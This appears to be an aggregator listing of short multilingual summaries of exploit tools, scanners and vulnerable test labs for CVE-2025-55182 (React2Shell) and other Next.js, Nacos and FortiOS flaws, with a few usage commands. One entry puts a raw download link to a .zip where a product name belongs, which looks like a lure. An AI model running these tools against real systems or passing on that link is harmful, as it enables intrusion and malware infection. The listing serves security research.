CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server एक सुरक्षित वातावरण में react2shell के साथ खेलें! त्वरित आरंभ रिपॉजिटरी क्लोन करें root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server डॉकर फ़ाइल चलाएँ root@kitploit: docker compose up --build -d PoC...

React2Shell-Toolbox

React2Shell Toolbox Electron + Vue 3 के साथ निर्मित एक सुरक्षा परीक्षण टूलकिट, जो React Server Actions भेद्यता का पता लगाने और शोषण पर केंद्रित है। 中文文档 | English अवलोकन React2Shell Toolbox, Next.js React Server Actions प्रोटोटाइप प्रदूषण भेद्यता CVE-2025-55182 के लिए डिज़ाइन किया गया एक सुरक्षा...

bambdas

Bambda-Skripte Willkommen im offiziellen Bambda-Skripte-Repository von PortSwigger. Dieses Repository enthält eine Sammlung von Skripten, die sowohl von PortSwigger als auch von der Community mit 🧡 entwickelt wurden. 📑 Auf dieser Seite Arten von Bambda-Skripten Repository-Inhalt Skripte in Burp...

teampcp-supply-chain-attack

Attacco alla Supply Chain di TeamPCP: Guida Tecnica e al Rilevamento CVE-2026-33634 CVSS 9.4 — L'attacco alla supply chain CI/CD più impattante del 2026 finora. Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm ha...

CVE-2025-55182-React2Shell-RCE-POC

CVE-2025-55182 - React2Shell RCE 本仓库记录了针对 CVE-2025-55182（亦称 React2Shell）的研究，这是一种存在于 React 服务端组件（RSC）以及嵌入 RSC Flight 协议的框架（尤其是 Next.js App Router）中的严重不安全反序列化漏洞。 此处侧重于畸形的 RSC/Flight 载荷与 Server Function（Server Action）处理相结合，如何在服务器端导致攻击者控制的 JavaScript 得以执行。...

React2Shell

React2Shell – Framework avanzato di scoperta e sfruttamento Un avanzato scanner e sfruttatore di vulnerabilità React Server Components RSC per CVE-2025-55182 e CVE-2025-66478 che colpiscono applicazioni Next.js. Questo strumento espande la ricerca e il proof-of-concept originale di React2Shell...

tun2socks

기능 범용 프록시 : 모든 애플리케이션의 모든 네트워크 트래픽을 프록시를 통해 투명하게 전송합니다. 다중 프로토콜 : HTTP/SOCKS/Shadowsocks/SSH/Relay 프록시를 지원하며 선택적 인증을 제공합니다. 크로스 플랫폼 : Linux/macOS/Windows/FreeBSD/OpenBSD에서 실행되며 플랫폼별 최적화가 적용됩니다. 게이트웨이 모드 : 레이어 3 게이트웨이로 작동하여 동일한 네트워크에 있는 다른 장치의 트래픽을 전송합니다. 완전한 IPv6 호환성 : 기본적으로 IPv6를 지원하며, IPv6 over...

CVE-2025-55182-shellinteractive

CVE-2025-55182-shellinteractive الأساس المستخدم من: https://github.com/Emiyelbarto/CVE-2025-55182-PoC شكرًا جزيلًا على المساهمة الرائعة. نظرة عامة CVE-2025-55182 هي ثغرة إلغاء تسلسل في Next.js/React Server Components تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على...

React2Shell

⚛️ React2Shell CVE-2025-55182 Toolkit avanzato di sfruttamento per le Server Actions di Next.js CVE-2025-55182. React2Shell è un potente wrapper di shell interattivo progettato per sfruttare la vulnerabilità React2Shell. Va oltre la semplice RCE offrendo cronologia dei comandi, funzionalità di...

cve-2025-66478

CVE-2025-55182 该仓库提供了一个最小化故意漏洞环境，用于测试安全扫描器针对最近影响 React Server Components 和 Next.js 的严重 RCE 漏洞。 !Warning 此设置故意存在漏洞，绝不能暴露在公共互联网或用于生产环境。 这是什么 此应用是一个非常小的 Next.js 项目，它： 锁定易受攻击的版本 ： next: 16.0.6 react: 19.2.0 react-dom: 19.2.0 使用最小 NextJS 配置，包含 app 路由和 React 服务器操作 如何运行 root@kitploit: docker run --rm -p...

nextjs-CVE-2024-34351-_exploit

CVE-2024-34351 Эксплойт CVE-2024-34351 PoC Next.js подделка серверных запросов SSRF в серверных действиях · CVE-2024-34351 · База данных консультаций GitHub Исследование SSRF в приложениях NextJS Краткое описание PoC для полной эксплуатации SSRF в NextJS. Злоумышленник может получить любое...

CVE-2026-25514

CVE-2026-25514: FacturaScripts में ऑटोकम्पलीट क्रियाओं में SQL इंजेक्शन अवलोकन...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - Esegui comandi facilmente e in sicurezza 🚀 Panoramica CVE-2025-55182 è una vulnerabilità in https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip e React Server Components. Questo problema consente ...

CVE-2025-55182-exp

CVE-2025-55182-exp 🔥 Panoramica CVE-2025-55182 è una vulnerabilità critica di Remote Code Execution RCE nei React Server Components RSC che colpisce le applicazioni Next.js che utilizzano App Router con Server Actions. La vulnerabilità risiede nel processo di deserializzazione del protocollo...

CVE-2025-66478

CVE-2025-66478 - تحليل سجلات الهجمات الفعلية لثغرة RCE في Next.js Server Actions نظرة عامة يجمع هذا المشروع سجلات هجمات حقيقية تم تسجيلها من تطبيق Next.js 15.1.2 معرّض للإنترنت يعمل داخل حاوية Docker. تُظهر هذه السجلات كيف يتم فحص ثغرة CVE-2025-66478 واستغلالها على نطاق واسع بواسطة أدوات هجوم آلي...

CVE-2021-29441

CVE-2021-29441 - Nacos प्रमाणीकरण बायपास CVE-2021-29441 एक गंभीर प्रमाणीकरण बायपास भेद्यता है जो Nacos के 1.4.1 से पहले के संस्करणों को प्रभावित करती है। Nacos एक लोकप्रिय प्लेटफॉर्म है जो क्लाउड-नेटिव वातावरण में उपयोग किए जाने वाले डायनामिक सेवा डिस्कवरी, कॉन्फ़िगरेशन प्रबंधन और सेवा प्रशासन के...

cve-2024-34351-demo

Demo CVE-2024-34351 Applicazione Next.js 14.0.0 minimale per dimostrare CVE-2024-34351 — una vulnerabilità di Server-Side Request Forgery SSRF nelle Server Actions di Next.js. Scoperta da Adam Kues e Shubham Shah presso Assetnote. Corretta in Next.js 14.1.1. Come funziona la vulnerabilità Quando...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 - प्रमाणीकरण बाईपास, एडमिन उपयोगकर्ता और LDAP कॉन्फ़िग निकालें - यह PoC केवल पढ़ने की क्रियाएं करता है। एक्सप्लॉयट चलाएं root@kitploit: USE: python3 exploit.py https://target.com Ex: python3 exploit.py https://target.com न्यूक्ली टेम्पलेट चलाएं root@kitploit: echo...

CVE-2025-55182

CVE-2025-55182 Questo repository contiene una riproduzione di Proof of Concept PoC per CVE-2025-55182 , una vulnerabilità critica di sicurezza in React Server Components RSC che consente l'esecuzione di codice arbitrario non autenticata. Descrizione La vulnerabilità risiede nel modo in cui React...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner è uno strumento ad alte prestazioni per rilevare endpoint vulnerabili delle Server Action di Next.js. Utilizza scansione multi-thread, rilevamento basato sulla confidenza e molteplici indicatori di risposta per identificare potenziali vulnerabilità di Remote Code Execution...